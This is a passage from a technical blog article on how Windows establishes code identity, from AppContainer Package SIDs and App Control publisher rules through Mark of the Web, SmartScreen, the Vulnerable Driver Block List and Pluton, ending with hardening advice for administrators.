Windows Hello&apos;s biometric authentication broker is itself an MSIX-style protected service whose AppContainer-flavoured identity is the Package SID derived from its Microsoft-signed manifest. Other processes that want to ask Hello to verify a face or a fingerprint must talk to the broker, and the broker decides whether to honour the request based partly on the caller&apos;s package identity. The reason this matters is the same as the LSASS reason: the secret material the broker holds (the user&apos;s TPM-bound private key) needs a principal that an attacker holding a SYSTEM token cannot impersonate. User-SID equality is not enough. Package-SID equality is.
&lt;p&gt;The &lt;code&gt;8wekyb3d8bbwe&lt;/code&gt; suffix you see on Calculator, Edge, the Microsoft Store, and most other in-box apps is &lt;code&gt;Microsoft Corporation&lt;/code&gt;&apos;s PublisherId. Once you know what it is, you start seeing it everywhere -- it is the cryptographic fingerprint of &quot;Microsoft signed this package&quot; [@ms-package-identity].&lt;/p&gt;
&lt;p&gt;The aha is the same shape as the PPL aha but at the layer above. Two binaries running as the same user can be authorised differently because the Package SID is derived from the manifest publisher and the package cannot forge it. AppContainer is not a sandbox you opt into. It is a SID you have. Capability ACLs name that SID. The firewall keys on it. The MIC label composes with it. The broker checks it.&lt;/p&gt;
&lt;p&gt;The limits are also visible. AppContainer is opt-in for Win32 desktop apps that have not been packaged. Forshaw&apos;s 2021 Project Zero analysis of the AppContainer firewall identified loopback-exemption and namespace-isolation holes that Microsoft classified as WontFix [@p0-appcontainer]. Per-app sandbox identity solves the Modern-app problem; it does not solve the legacy Win32 problem. For that, the operating system needs a policy plane that names code in publisher vocabulary instead of path vocabulary.&lt;/p&gt;
&lt;p&gt;What does an enterprise admin do when the application refuses to be packaged at all?&lt;/p&gt;
&lt;h2&gt;The policy plane: AppLocker, App Control, and the publisher rule&lt;/h2&gt;
&lt;p&gt;Path-based whitelisting failed for the same reason path-based ACLs failed. Anything writeable can be planted. AppLocker, shipped in Windows 7 in 2009, still stays in the box for compatibility, but Microsoft&apos;s own documentation recommends App Control for Business -- the rebranded Windows Defender Application Control -- for new deployments [@ms-applocker] [@ms-appcontrol]. The change is not cosmetic. It is the difference between filename-as-identity and Authenticode-publisher-as-identity.&lt;/p&gt;

A Code Integrity policy mechanism that expresses allow and deny rules in Authenticode-publisher vocabulary. Policies are authored in XML, compiled to a binary `siPolicy.p7b`, and enforced by the Code Integrity engine at every PE load. With HVCI active, enforcement happens inside the Hyper-V-protected secure kernel, immune to a compromised NT kernel [@ms-appcontrol].
&lt;p&gt;The certificate-and-publisher rule levels run from strictest to broadest as &lt;code&gt;Hash &amp;gt; FileName &amp;gt; FilePath &amp;gt; FilePublisher &amp;gt; SignedVersion &amp;gt; LeafCertificate &amp;gt; Publisher &amp;gt; PcaCertificate&lt;/code&gt;, with a parallel WHQL-only family for kernel drivers ordered &lt;code&gt;WHQLFilePublisher &amp;gt; WHQLPublisher &amp;gt; WHQL&lt;/code&gt; [@ms-appcontrol]. &lt;code&gt;Hash&lt;/code&gt; is the strictest (this exact byte string); &lt;code&gt;PcaCertificate&lt;/code&gt; is the broadest signer-based level (anything signed under that intermediate CA). Microsoft documents &lt;code&gt;RootCertificate&lt;/code&gt; as not supported, and &lt;code&gt;FilePath&lt;/code&gt; -- available for user-mode binaries from Windows 10 1903 onward -- is path-based and so inherits the failure modes the publisher-rule model was designed to escape.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;LeafCertificate &amp;gt; Publisher&lt;/code&gt; adjacency is the subtle one. &lt;code&gt;LeafCertificate&lt;/code&gt; pins to one specific signing certificate, so a renewal under a new leaf cert no longer matches. &lt;code&gt;Publisher&lt;/code&gt; matches any certificate with the same PCA + leaf-CN combination, including future renewals. &lt;code&gt;LeafCertificate&lt;/code&gt; is the stricter of the two [@ms-appcontrol].&lt;/p&gt;
&lt;p&gt;The practical sweet spot is &lt;code&gt;FilePublisher&lt;/code&gt;. It binds an allow rule to the tuple &lt;code&gt;(certificate authority + leaf publisher CN + original filename + minimum version)&lt;/code&gt;. That tuple survives recompiles: a benign update from the same publisher under the same name, signed by the same key, with a higher version still passes. It does not survive tampering. Change the original filename in the resource section, change the publisher, change the leaf certificate, and the rule no longer matches.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Policy primitive&lt;/th&gt;
&lt;th&gt;Era&lt;/th&gt;
&lt;th&gt;Rule basis&lt;/th&gt;
&lt;th&gt;Kernel coverage&lt;/th&gt;
&lt;th&gt;Default state&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Software Restriction Policies (SRP)&lt;/td&gt;
&lt;td&gt;XP, 2001&lt;/td&gt;
&lt;td&gt;path / hash / certificate&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;unmanaged&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppLocker&lt;/td&gt;
&lt;td&gt;Windows 7 Enterprise, 2009&lt;/td&gt;
&lt;td&gt;path / publisher / hash&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;off&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WDAC (Device Guard)&lt;/td&gt;
&lt;td&gt;Windows 10, 2015&lt;/td&gt;
&lt;td&gt;publisher / file attributes / hash&lt;/td&gt;
&lt;td&gt;full (with &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;HVCI&lt;/a&gt;)&lt;/td&gt;
&lt;td&gt;off&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;App Control for Business&lt;/td&gt;
&lt;td&gt;renamed 2023&lt;/td&gt;
&lt;td&gt;publisher / file attributes / hash&lt;/td&gt;
&lt;td&gt;full (with HVCI)&lt;/td&gt;
&lt;td&gt;off; on by default in S Mode and on Windows 11 SE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Code Integrity engine evaluates an App Control policy on every PE load -- user mode and kernel mode alike. With HVCI active, the policy lives behind the Hyper-V security boundary; even an NT-kernel-level attacker with arbitrary memory write cannot edit it without breaking out of the virtualization layer [@ms-appcontrol]. Deny rules always win; an explicit deny can never be undone by any number of allows on the same binary.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Author every App Control policy in audit mode for at least one full reference-image cycle before promoting to enforce. Audit mode logs every load that &lt;em&gt;would have been&lt;/em&gt; blocked, into the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; event channel, without breaking anything. The pre-deployment failure rate of strict policies on real fleets is high enough that audit mode is not optional [@ms-appcontrol].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;App Control inherits the same structural ceiling Authenticode put in place. &lt;code&gt;Allow Signer = Microsoft Windows&lt;/code&gt; admits the entire LOLBins inventory -- &lt;code&gt;regsvr32&lt;/code&gt;, &lt;code&gt;mshta&lt;/code&gt;, &lt;code&gt;installutil&lt;/code&gt;, &lt;code&gt;rundll32&lt;/code&gt;, every signed-by-Microsoft binary an attacker can call to execute arbitrary content. &lt;code&gt;Allow Signer = ASUSTeK&lt;/code&gt; would have admitted ShadowHammer (operation 2018, disclosed 2019), every byte of which carried a valid ASUS production signature [@securelist-shadowhammer]. The publisher-rule model is the right primitive for managed endpoints, and the LOLBins / supply-chain-attack failure modes are the structural ceiling on what the primitive can prove.&lt;/p&gt;
&lt;p&gt;PKI-rooted publisher policy still trusts the publisher&apos;s key custody. When the key is stolen or the binary is signed but malicious, what does the operating system fall back on?&lt;/p&gt;
&lt;h2&gt;Reputation as identity: Mark of the Web and SmartScreen&lt;/h2&gt;
&lt;p&gt;A novel binary, signed by a freshly issued EV cert, has zero history. PKI says yes. Reputation says: I have never seen this before -- run it past the user.&lt;/p&gt;

An NTFS alternate data stream named `Zone.Identifier` written by browsers, mail clients, and other downloaders to record the trust zone of a downloaded file. The stream contains an INI-style `[ZoneTransfer]` block with `ZoneId=3` for files from the public internet, plus optional `ReferrerUrl=` and `HostUrl=` fields. The protocol is documented in the MS-FSCC reference [@ms-fscc-motw]. SmartScreen, Office Protected View, and the Attachment Execution Service all read MOTW to gate behaviour on origin.
&lt;p&gt;MOTW is not an Authenticode replacement. It is a parallel, &lt;em&gt;origin-based&lt;/em&gt; identity: the binary&apos;s provenance, encoded as data the file system carries with it, separate from any signature. Origin is the input to SmartScreen. SmartScreen submits a hash of the binary together with publisher metadata to a Microsoft-hosted reputation service; if the service has not seen the binary before, or has not seen enough downloads to be confident, the user gets the familiar &quot;Windows protected your PC&quot; prompt that requires an explicit More info / Run anyway click [@learn-smartscreen].&lt;/p&gt;
&lt;p&gt;The pipeline is parallel to Authenticode and App Control, not a successor. PKI says &quot;this signature chains to a real publisher.&quot; Reputation says &quot;this hash has been observed N times in the last 30 days, with prevalence trending up; the publisher account is six years old; M of the downloads were from machines later flagged for malware.&quot; None of those signals are derivable from a signature.The Defender machine-learning pipeline that powers SmartScreen reputation is the deeper version of the same idea -- already covered in &lt;em&gt;The Defender&apos;s Dilemma&lt;/em&gt; sibling article, which traces the twenty-year arc from Defender&apos;s 0.5/6 AV-TEST score to its 100% MITRE detection rate. The reputation primitive sits on top of that ML pipeline.&lt;/p&gt;
&lt;p&gt;The bypass surface is now well-known. Container formats (ISO, IMG, VHD, 7z) historically did not propagate MOTW to files extracted from them, because their on-disk representation does not preserve alternate data streams. Phishing campaigns adapted: send the attacker&apos;s &lt;code&gt;.exe&lt;/code&gt; inside an &lt;code&gt;.iso&lt;/code&gt;, the user mounts the &lt;code&gt;.iso&lt;/code&gt;, double-clicks the &lt;code&gt;.exe&lt;/code&gt;, and SmartScreen sees a binary with no MOTW and offers no warning.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s response combined fixes -- VHD and ISO MOTW propagation shipped in the December 2022 cumulative update for Windows 11 22H2, MOTW-aware extraction in OneDrive and the new Windows Archive APIs -- with two attack-surface-reduction rules that gate execution on prevalence and trust independently of MOTW [@learn-asr-reference]. The most useful is rule &lt;code&gt;01443614-cd74-433a-b99e-2ecdc07bfc25&lt;/code&gt;, &quot;Block executable files from running unless they meet a prevalence, age, or trusted list criterion.&quot;&lt;/p&gt;
&lt;p&gt;Office is the most consequential consumer of MOTW. A Word, Excel, or PowerPoint file carrying a &lt;code&gt;ZoneId=3&lt;/code&gt; Mark of the Web opens in Protected View: read-only, in a sandboxed renderer, with macros and active content disabled, until the user clicks &quot;Enable Editing&quot; on the message bar [@learn-protected-view].&lt;/p&gt;
&lt;p&gt;The 2022 wave of HTML-smuggling and ISO-borne malware that bypassed SmartScreen still tripped over Protected View at the document layer, and the post-2022 macro-blocked-by-default change extended the same MOTW-gated logic from container files to embedded VBA. Origin is now an input to two parallel pipelines: SmartScreen&apos;s reputation check on the executable, and Office&apos;s read-only-until-confirmed gate on the document.&lt;/p&gt;
&lt;p&gt;The full ASR rule GUIDs are in the Defender for Endpoint reference. Memorise none of them; pin the page.&lt;/p&gt;
&lt;p&gt;A useful way to read the layered system at this point: Authenticode answered &quot;who shipped it?&quot; KMCS answered &quot;is the kernel allowed to load it?&quot; PPL answered &quot;is this running process allowed to touch that one?&quot; AppContainer answered &quot;what application is this?&quot; App Control answered &quot;does the enterprise honour this publisher?&quot; MOTW and SmartScreen answer the question PKI cannot: &quot;have we seen this before, and from where?&quot; When PKI identity is necessary but not sufficient, reputation closes the gap -- statistically, never absolutely.&lt;/p&gt;
&lt;p&gt;PKI says yes; reputation says unknown. What does the operating system do when Microsoft itself says &lt;em&gt;no&lt;/em&gt; to a signature it just minted?&lt;/p&gt;
&lt;h2&gt;The breakthrough: signed is not trusted (Driver Block List, 2022)&lt;/h2&gt;
&lt;p&gt;December 8, 2021. Microsoft launches the Vulnerable and Malicious Driver Reporting Center [@msft-driver-reporting]. The blog post enumerates the failure shape that drove it: drivers that &quot;map arbitrary kernel, physical, or device memory to user mode,&quot; drivers that &quot;provide access to storage that bypass Windows access control,&quot; drivers whose IOCTLs let a local admin become an arbitrary kernel writer. Every one of those drivers was signed. Every one of those signatures was valid. Every one of those binaries was loadable on a default Windows install.&lt;/p&gt;
&lt;p&gt;By the Windows 11 22H2 update in September 2022, the Vulnerable Driver Block List was enabled by default [@msft-driver-blocklist]. The mechanism is a Microsoft-curated &lt;code&gt;SiPolicy.p7b&lt;/code&gt; (the same WDAC binary policy format), distributed through Windows Update and Defender intelligence updates, enforced by the Code Integrity engine -- with HVCI when present -- at every driver load. The published rules deny drivers by publisher, original filename, and hash. Critically, &lt;em&gt;the publisher&apos;s signature is still valid&lt;/em&gt;. The Block List is an explicit Microsoft veto layered on top of a working PKI verdict.&lt;/p&gt;

The blocklist included in this article ... usually contains a more complete set of known vulnerable drivers than the version in the OS and delivered by Windows Update. -- Microsoft Learn, *Microsoft recommended driver block rules* [@msft-driver-blocklist]
&lt;p&gt;That sentence, in Microsoft&apos;s own documentation, is the breakthrough. Microsoft is openly admitting that the version of the list shipped with the operating system trails the curated reference list. Curation is now a continuous, asynchronous activity, distinct from signing. The list ships on a quarterly cadence. New BYOVD drivers ship faster than that. The LOLDrivers community catalogue tracks hundreds of vulnerable drivers, many of which are not (yet) on Microsoft&apos;s list [@loldrivers].&lt;/p&gt;
&lt;p&gt;The Block List has a write-time companion. ASR rule &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt;, &quot;Block abuse of exploited vulnerable signed drivers,&quot; prevents &lt;em&gt;writing&lt;/em&gt; a known-vulnerable driver to disk in the first place [@learn-asr-reference]. The defence is layered: the Block List denies load; the ASR rule denies install; together they form a curtain across the BYOVD attack class. Together they do not close the BYOVD class -- the catalogue is a list, the threat is a set, and the gap is structural.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; A signature attests &lt;em&gt;who&lt;/em&gt;. A reputation score attests &lt;em&gt;unfamiliar versus seen-good&lt;/em&gt;. A block list attests &lt;em&gt;Microsoft has revoked trust at runtime, even though the signature still verifies&lt;/em&gt;. These are three distinct identity layers, and 2022 is the year all three were finally co-deployed by default on the same operating system.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &quot;Curated identity at runtime&quot; is the conceptual breakthrough. &quot;Quarterly cadence&quot; is its operational ceiling. The Driver Block List is a list, the BYOVD threat is a set, and the gap between them is the open problem the next layer (Pluton + attestation + faster curation pipelines) is being asked to close.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Driver Block List is the operational expression of a 25-year admission. After 1996&apos;s &quot;the new Microsoft Authenticode technology uniquely identifies the publisher,&quot; after Vista&apos;s &quot;we will refuse unsigned kernel drivers,&quot; after Windows 8.1&apos;s &quot;signer level mediates inter-process access,&quot; after Windows 10&apos;s &quot;App Control names policy in publisher vocabulary,&quot; Microsoft&apos;s December 2021 blog post said something different. It said: a signature is a publisher claim; trust is a different claim; we, Microsoft, will curate the second claim continuously, even when we ourselves issued the first one. Identity has become curated, not just verified.&lt;/p&gt;
&lt;p&gt;If even Microsoft can no longer trust a valid signature, where does trust ultimately have to live?&lt;/p&gt;
&lt;h2&gt;The 2026 stack and the hardware future&lt;/h2&gt;
&lt;p&gt;The eight primitives from the previous sections do not run in isolation. They compose. A modern Windows boot -- on a Pluton-equipped 2026 laptop running Windows 11 24H2 with HVCI on, App Control in enforce mode, Smart App Control on, and Microsoft Defender as the active anti-malware -- evaluates code identity continuously, top to bottom, from firmware through user mode.&lt;/p&gt;

flowchart LR
    A[&quot;UEFI Secure Boot&lt;br /&gt;firmware-rooted PKI&quot;] --&amp;gt; B[&quot;Pluton / TPM&lt;br /&gt;measured boot, PCRs&quot;]
    B --&amp;gt; C[&quot;KMCS&lt;br /&gt;chain-to-Microsoft&quot;]
    C --&amp;gt; D[&quot;Driver Block List&lt;br /&gt;Microsoft curated veto&quot;]
    D --&amp;gt; E[&quot;ELAM&lt;br /&gt;signer-level boot gate&quot;]
    E --&amp;gt; F[&quot;User-mode Authenticode&lt;br /&gt;publisher attribution&quot;]
    F --&amp;gt; G[&quot;PPL signer-level&lt;br /&gt;runtime ACL&quot;]
    G --&amp;gt; H[&quot;AppContainer + Package SID&lt;br /&gt;per-app principal&quot;]
    H --&amp;gt; I[&quot;App Control for Business&lt;br /&gt;publisher policy&quot;]
    I --&amp;gt; J[&quot;MOTW + SmartScreen&lt;br /&gt;origin + reputation&quot;]
    J --&amp;gt; K[&quot;Pluton attestation&lt;br /&gt;device-identity claim&quot;]
&lt;p&gt;The hardware root has shifted in five years. Pluton, announced on November 17, 2020 by Microsoft together with AMD, Intel, and Qualcomm, is a security processor integrated into the CPU die rather than a discrete TPM chip on the motherboard bus [@ms-pluton-blog]. AMD Ryzen 6000-series and later (including Ryzen AI), Intel Core Series 3, Core Ultra Series 3, and Core Ultra 200V, and Qualcomm Snapdragon 8cx Gen 3 and Snapdragon X Series ship Pluton as the on-die TPM. Pluton&apos;s firmware is updated through Windows Update -- not through OEM-controlled SPI flash patches -- and Microsoft started delivering Rust-based Pluton firmware on 2024 AMD and Intel systems, with broader rollout ongoing [@learn-pluton].&lt;/p&gt;
&lt;p&gt;The architectural significance is twofold. The trust root is no longer a chip with its bus exposed to a trace-and-sniff attacker. The firmware update path is now a Microsoft-controlled channel rather than thirty different OEM-controlled channels. The same hardware root is what &lt;a href=&quot;https://paragmali.com/blog/bitlocker-on-windows-architecture-attacks-and-the-limits-of-/&quot; rel=&quot;noopener&quot;&gt;BitLocker&lt;/a&gt; depends on when it seals the Volume Master Key to a &lt;a href=&quot;https://paragmali.com/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/&quot; rel=&quot;noopener&quot;&gt;measured boot&lt;/a&gt; chain via TPM PCRs [@ms-bitlocker]. On Pluton, those PCR measurements live in-die rather than on a bus-exposed chip, and the sibling article &lt;em&gt;BitLocker on Windows&lt;/em&gt; traces what that buys and what it does not.&lt;/p&gt;

Apple Gatekeeper plus Notarization is a single-CA model. All Mac binaries that pass Gatekeeper are notarized by Apple, scanning happens server-side, and Apple&apos;s own notary signature is the trust root [@apple-gatekeeper]. Linux IMA-Appraisal expresses code identity as a per-host keyring of cryptographic measurements; the kernel evaluates a load against a policy stored in the same keyring [@linux-ima]. Android APK Signature Scheme v3 binds the APK to a per-app signing key with an explicit proof-of-rotation chain that lets a publisher rotate keys without breaking the app&apos;s identity [@apksigning-v3]. Windows is the only one of the four that accepts third-party CAs in user mode while reserving Microsoft roots for the kernel. The cost of pluralism is exactly the long tail of failure modes this article enumerates; the benefit is the freedom every Windows ISV has used since 1996 to ship without asking Microsoft&apos;s permission.
&lt;p&gt;Then came July 19, 2024.&lt;/p&gt;
&lt;p&gt;CrowdStrike&apos;s Falcon kernel driver loaded a malformed Channel File 291 update that triggered an out-of-bounds memory read inside &lt;code&gt;csagent.sys&lt;/code&gt; and raised an invalid page fault [@msft-crowdstrike-best-practices], bug-checking roughly 8.5 million Windows endpoints simultaneously [@ms-crowdstrike-blog]. The driver was correctly Microsoft-signed through the Hardware Developer Center attestation pipeline. Every code-identity layer in the stack -- KMCS, the cross-cert, the EV cert, the attestation key, even the Block List -- said yes. The thing that went wrong was not identity. It was that an identity-blessed driver, running in kernel mode, can fail in ways that take entire continents offline.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The CrowdStrike outage proves that a correctly-signed, attested kernel driver is still a planet-scale liability if its placement is wrong. Identity is not the only dimension. Where in the privilege hierarchy a binary runs is itself a dimension that signing cannot capture.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Microsoft&apos;s reaction was structural. On September 12, 2024, David Weston published the recap of the September 10 WESES summit Microsoft had hosted with its endpoint-security partners, committing to provide &quot;additional security capabilities outside of kernel mode&quot; so that EDR vendors could run their detection logic in user mode [@weston-2024].&lt;/p&gt;
&lt;p&gt;On June 26, 2025, the Windows Resiliency Initiative announced a private preview of the new endpoint security platform, scheduled for July 2025 delivery to selected MVI partners: Bitdefender, CrowdStrike, ESET, and SentinelOne [@weston-2025]. CrowdStrike&apos;s representative was Alex Ionescu, now its Chief Technology Innovation Officer -- the same Alex Ionescu whose 2013 Breakpoint talk publicly mapped PPL signer levels. The arc had closed in twelve years.&lt;/p&gt;
&lt;p&gt;MVI 3.0 -- the Microsoft Virus Initiative, version three -- adds Safe Deployment Practices as a contractual condition: staged rollouts, deployment rings, monitoring. The same playbook Microsoft itself follows for Windows updates after the 2024 outage [@msft-crowdstrike-best-practices].&lt;/p&gt;
&lt;p&gt;The conceptual move is the same one PPL made in 2013, projected one layer higher. Then: identity becomes a runtime ACL between processes. Now: identity-bound &lt;em&gt;placement&lt;/em&gt; (kernel mode versus user mode) becomes a trust dimension co-equal with identity-bound &lt;em&gt;signing&lt;/em&gt;. The question is no longer &quot;is this driver signed and on the allow list?&quot; The question is &quot;should code with this identity be running in this context at all?&quot;&lt;/p&gt;
&lt;p&gt;If even attested, signed, blessed kernel code can fail catastrophically, what could code identity in principle ever prove -- and what is provably out of reach?&lt;/p&gt;
&lt;h2&gt;Theoretical bounds and open problems&lt;/h2&gt;
&lt;p&gt;Two papers from the 1980s bound everything that followed.&lt;/p&gt;
&lt;p&gt;Fred Cohen&apos;s 1984 paper at IFIP-Sec, republished in &lt;em&gt;Computers &amp;amp; Security&lt;/em&gt; in 1987, proved that perfect virus detection is undecidable: there is no algorithm that, given an arbitrary program, can decide whether it is a virus [@cohen-1986]. Reputation systems are necessarily heuristic. The &quot;first 1,000 downloads&quot; gap -- the window where SmartScreen has not yet seen enough of a new binary to be confident -- is structural, not a tuning problem. You cannot close it by waiting harder.&lt;/p&gt;
&lt;p&gt;Ken Thompson&apos;s 1984 ACM Turing Award lecture, &quot;Reflections on Trusting Trust,&quot; made a different point about a different layer [@thompson-trusting-trust]. Thompson exhibited a compiler that, when used to build itself, inserted a backdoor into a target program; when used to build the compiler, propagated the backdoor invisibly to the next-generation binary. Signing what the compiler emitted never proved the compiler was unmodified. SLSA Level 3+ provenance, reproducible builds, hermetic build environments [@slsa-spec] push the bound back one level. They do not eliminate it.&lt;/p&gt;
&lt;p&gt;A third bound is Authenticode-specific. Asynchronous revocation, the property that lets pre-revocation timestamped signatures continue to verify forever, is the reason Stuxnet&apos;s drivers loaded after Realtek&apos;s certificate was revoked, and the reason every other stolen-key compromise has a window of cryptographic legitimacy [@symantec-stuxnet]. Synchronous global revocation would invalidate large catalogs of legitimate, archived, signed software whose signing certs have since expired. There is no fix inside the design.&lt;/p&gt;
&lt;p&gt;Pulled together, these bounds explain the persistent gap. Stolen-but-not-yet-revoked publisher keys are the same failure mode replayed three times in sixteen years: Stuxnet (2010, Realtek and JMicron), ASUS ShadowHammer (operation 2018, disclosed 2019, ASUSTeK production key), &lt;a href=&quot;https://paragmali.com/blog/when-your-password-manager-attacks-you-inside-the-bitwarden-/&quot; rel=&quot;noopener&quot;&gt;Bitwarden CLI&lt;/a&gt; (2026, npm publishing credential). The Pluton firmware-update pipeline is the most credible architectural response yet -- a Microsoft-controlled key-rotation channel that does not depend on OEM-side custody -- but it does not eliminate the class. It compresses the response window.&lt;/p&gt;
&lt;p&gt;The other open problem is identity for non-PE artifacts. The Authenticode hash and the WDAC publisher rule were designed for Portable Executable files; everything else gets uneven coverage. PowerShell &lt;code&gt;.ps1&lt;/code&gt; scripts can be signed and gated through Constrained Language Mode, which the runtime enters automatically when an AppLocker or App Control policy is in force [@learn-clm]. .NET assemblies have strong-name signatures, separate from Authenticode and explicitly not a security boundary; Microsoft&apos;s own documentation warns &quot;do not rely on strong names for security&quot; [@learn-strong-name].&lt;/p&gt;
&lt;p&gt;JIT-compiled code -- the most common shape of &quot;code&quot; in 2026 -- is signed only insofar as the JIT host is signed. The JIT itself produces unsigned bytes. Container images, WSL guests, AI model files, and (now) agent prompts all live outside the Authenticode universe entirely. Each is its own substrate, with its own emerging signing scheme, and the unification has not happened.&lt;/p&gt;
&lt;p&gt;$$\text{trust}_{2026}(\text{binary}) = \text{publisher}(\text{binary}) \land \text{provenance}(\text{build}) \land \text{placement}(\text{runtime}) \land \text{reputation}(\text{telemetry}) \land \neg \text{revoked}(\text{Microsoft})$$&lt;/p&gt;
&lt;p&gt;That conjunction is the 2026 verdict. None of its terms are sufficient on their own. Each was forced into existence by a failure of the term before. The arc from &quot;who launched this thread?&quot; in 1993 to that conjunction in 2026 is what thirty-three years of forced moves produced.&lt;/p&gt;
&lt;p&gt;What does the layered system look like in practice on a 2026 endpoint -- and what should an admin actually do?&lt;/p&gt;
&lt;h2&gt;Practical guide&lt;/h2&gt;
&lt;p&gt;Six concrete recommendations for a 2026 Windows fleet, each tied to a primary Microsoft Learn or MSRC source.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; On Windows 11 22H2 and later it is enabled by default. On Windows 10, Server, and downlevel Windows 11 builds, enable it explicitly through Settings &amp;gt; Privacy &amp;amp; security &amp;gt; Windows Security &amp;gt; Device security &amp;gt; Core isolation &amp;gt; Microsoft Vulnerable Driver Blocklist. HVCI must be on for full enforcement [@msft-driver-blocklist].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The published Microsoft baseline policies (&lt;code&gt;Default Windows&lt;/code&gt;, &lt;code&gt;Allow Microsoft&lt;/code&gt;, the Windows S Mode policy) are the right starting points. Run any custom policy in audit mode for a full reference-image cycle, mine the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; event log for blocked loads, then promote to enforce. Pair with HVCI so the policy lives behind the secure-kernel boundary [@ms-appcontrol]. Deploy through Microsoft Intune (or your MDM of choice), Configuration Manager, or Group Policy -- App Control policy distribution is a first-class managed-endpoint scenario rather than a per-machine hand edit [@learn-appcontrol-deployment].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; On Secure Boot systems the value is mirrored into a UEFI variable, so registry-only attackers cannot turn it off. Verify with &lt;code&gt;Get-ItemProperty -Path &apos;HKLM:\SYSTEM\CurrentControlSet\Control\Lsa&apos; -Name RunAsPPL&lt;/code&gt; and the corresponding &lt;code&gt;RunAsPPLBoot&lt;/code&gt; UEFI variable [@itm4n-runasppl].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; SmartScreen alone is bypassed by container-format MOTW stripping. Pair it with ASR rule &lt;code&gt;01443614-cd74-433a-b99e-2ecdc07bfc25&lt;/code&gt;, which gates execution on prevalence, age, or a trusted list, independently of MOTW [@learn-smartscreen] [@learn-asr-reference].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Package SID is a free identity for any internal app you ship as MSIX. ACL sensitive resources to it, declare capabilities explicitly in the manifest, and let the AppContainer SID enforce the ACL at the kernel boundary [@ms-package-identity] [@ms-msix].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Treat your code-signing key like a credential, not a build artifact. Rotate the EV cert, revoke the old one, notify customers, and -- if the binary already shipped -- request the offending hash on the Driver Block List or the ASR rule [@msft-driver-reporting]. The Bitwarden CLI 2026 incident took 93 minutes from release to containment, with rollback continuing for several hours afterward [@bitwarden-statement]; have the playbook ready before you need it.&lt;/p&gt;
&lt;/blockquote&gt;

```js
function loadDecision({ signed, signerLevel, motwed, onBlockList, allowedByAppControl, smartScreenVerdict }) {
  if (onBlockList) return &apos;BLOCK -- Microsoft veto, signature ignored&apos;;
  if (signed === false &amp;amp;&amp;amp; allowedByAppControl === false) return &apos;BLOCK -- unsigned, App Control denies&apos;;
  if (signerLevel === &apos;WinTcb&apos; || signerLevel === &apos;WinSystem&apos;) return &apos;LOAD -- protected process&apos;;
  if (allowedByAppControl === false) return &apos;BLOCK -- App Control deny&apos;;
  if (motwed &amp;amp;&amp;amp; smartScreenVerdict === &apos;unknown&apos;) return &apos;WARN -- SmartScreen, user gate&apos;;
  if (motwed &amp;amp;&amp;amp; smartScreenVerdict === &apos;malicious&apos;) return &apos;BLOCK -- SmartScreen&apos;;
  return &apos;LOAD&apos;;
}
console.log(loadDecision({
  signed: true, signerLevel: &apos;Authenticode&apos;,
  motwed: true, onBlockList: false,
  allowedByAppControl: true, smartScreenVerdict: &apos;good&apos;,
}));
```
The decision tree is the practical mental model. Every branch of it is the consequence of one of the failures this article tracks.

No. A signature attests *publisher identity* and *binary integrity*. It does not attest safety. Microsoft trust is a separate, runtime claim expressed through the Driver Block List, App Control policies, and Defender reputation -- evaluated continuously, even on signatures Microsoft itself once minted [@msft-driver-blocklist].

Extended Validation Authenticode signing vets organisational identity through an audited issuance process and mandates that the private key live in a hardware security module; the publisher&apos;s signature is the trust root. Attestation signing is Microsoft&apos;s lighter-weight pipeline for kernel drivers: the publisher submits an EV-signed binary to the Hardware Developer Center, Microsoft re-signs with its own attestation key, and the result is delivered back. Attestation-signed drivers are not WHQL tested and are not distributed via retail Windows Update [@learn-driver-signing-offerings] [@ms-attestation-signing].

MOTW plus low prevalence. SmartScreen sees a binary it has not observed enough times in the global telemetry to be confident, on a file marked as having been downloaded from the internet. Sign the binary with an EV certificate, accumulate downloads on a stable hash, and the warning fades. Internal binaries can have MOTW stripped at deployment time if your distribution channel is itself trusted [@learn-smartscreen].

